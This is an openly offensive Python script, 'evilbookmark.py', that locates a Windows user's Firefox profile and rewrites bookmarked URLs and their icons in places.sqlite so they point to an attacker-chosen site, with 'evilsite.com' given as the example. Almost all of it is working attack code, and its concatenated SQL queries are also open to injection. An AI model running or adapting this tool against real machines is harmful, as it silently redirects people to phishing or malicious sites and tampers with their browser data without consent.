python evilbookmark.py -b "https://google.com" -r "https://duckduckgo.com" -i "https://duckduckgo.com/favicon.ico"

import os
import argparse
import sqlite3


def check_installation():
    # the default firefox installation path
    username = os.getenv("USERNAME")
    firefox_path = f"C:/Users/{username}/AppData/Roaming/Mozilla/Firefox"

    print("[*] Checking for Firefox")
    if os.path.exists(firefox_path):
        print("[+] Firefox found")
        return firefox_path
    else:
        print("[!] No Firefox found")
        return None


def get_profile(firefox_path: str, custom_profile: str):
    if custom_profile:
        print(f"[*] Checking for profile '{custom_profile}'")
        custom_profile_path = f"{firefox_path}/profiles/{custom_profile}"

        if os.path.exists(custom_profile_path):
            print(f"[+] Using profile '{custom_profile}'")
            return custom_profile_path
        else:
            print(f"[!] Profile '{custom_profile}' not found")
            return None
    else:
        ini_path = f"{firefox_path}/profiles.ini"
        if not os.path.exists(ini_path):
            print("[!] No default profile found'")
            return None

        with open(ini_path) as ini_file:
            for line in ini_file.readlines():
                if "Default=Profiles" in line:
                    # format = "Default=Profiles/asdf1234.default" so we split after / and remove the newline
                    profile_name = line.split("/")[1].replace("\n", "")
                    print(f"[+] Using default profile '{profile_name}'")
                    return f"{firefox_path}/profiles/{profile_name}"


def replace_bookmarks(profile_path: str, bookmark: str, replace_with: str):
    print(f"[*] Replacing '{bookmark}' with '{replace_with}'")
    connection = sqlite3.connect(f"{profile_path}/places.sqlite")
    cursor = connection.cursor()

    try:
        # since open tabs are also stored in moz_places 'foreign_count = 1' selects only the bookmarks
        # UPDATE TABLE SET COLUMN = REPLACE(COLUMN,OLDSTRING,NEWSTRING)
        query = (
            """UPDATE moz_places SET url = REPLACE(url,\'"""
            + bookmark
            + "','"
            + replace_with
            + """') WHERE foreign_count = 1 """
        )
        cursor.execute(query)
        connection.commit()
    except sqlite3.Error as e:
        print(f"[!] Failed: {e}")

    cursor.close()
    connection.close()


def replace_icons(profile_path: str, replace_with: str, icon_url: str):
    print(f"[*] Replacing icon URLs from '{replace_with}' with '{icon_url}'")
    connection = sqlite3.connect(f"{profile_path}/places.sqlite")
    cursor = connection.cursor()

    try:
        # since open tabs are also stored in moz_places 'foreign_count = 1' selects only the bookmarks
        query = (
            """UPDATE moz_places SET preview_image_url = \'"""
            + icon_url
            + """\' WHERE foreign_count = 1 AND url LIKE '%"""
            + replace_with
            + """%\'"""
        )
        cursor.execute(query)
        connection.commit()
    except sqlite3.Error as e:
        print(f"[!] Failed: {e}")

    cursor.close()
    connection.close()


if __name__ == "__main__":
    args = argparse.ArgumentParser(add_help=False)
    args.add_argument("-h", "--help", action="store_true")
    args.add_argument(
        "-p", "--profile", type=str, action="store", dest="custom_profile"
    )
    args.add_argument(
        "-b", "--bookmark", type=str, action="store", dest="bookmark_search"
    )
    args.add_argument(
        "-r", "--replace", type=str, action="store", dest="bookmark_replace"
    )
    args.add_argument(
        "-i", "--iconurl", type=str, action="store", dest="bookmark_iconurl"
    )
    args = args.parse_args()

    helptext = """Usage:
  evilbookmark.py [OPTIONS]

Options:
  -p, --profile <NAME>    Use a custom profile

  -b, --bookmark <URL>    What bookmark to search for, ex. 'http://site.com'
  -r, --replace <URL>     URL to be inserted into '-b' ex. 'http://evilsite.com'
  -i, --iconurl <URL>     Icon URL to be inserted into '-b' ex. 'http://evilsite.com/icon.png'

  -h, --help              Shows this help text and exit
    """

    if args.help:
        print(helptext)
        exit(0)

    if (
        not (args.bookmark_search)
        or not (args.bookmark_replace)
        or not (args.bookmark_iconurl)
    ):
        print("[!] Please use '-b', '-r' and '-i'")
        exit(1)

    firefox_path = check_installation()
    if not firefox_path:
        exit(1)

    profile = get_profile(firefox_path, args.custom_profile)
    if not profile:
        exit(1)

    replace_bookmarks(profile, args.bookmark_search, args.bookmark_replace)
    replace_icons(profile, args.bookmark_replace, args.bookmark_iconurl)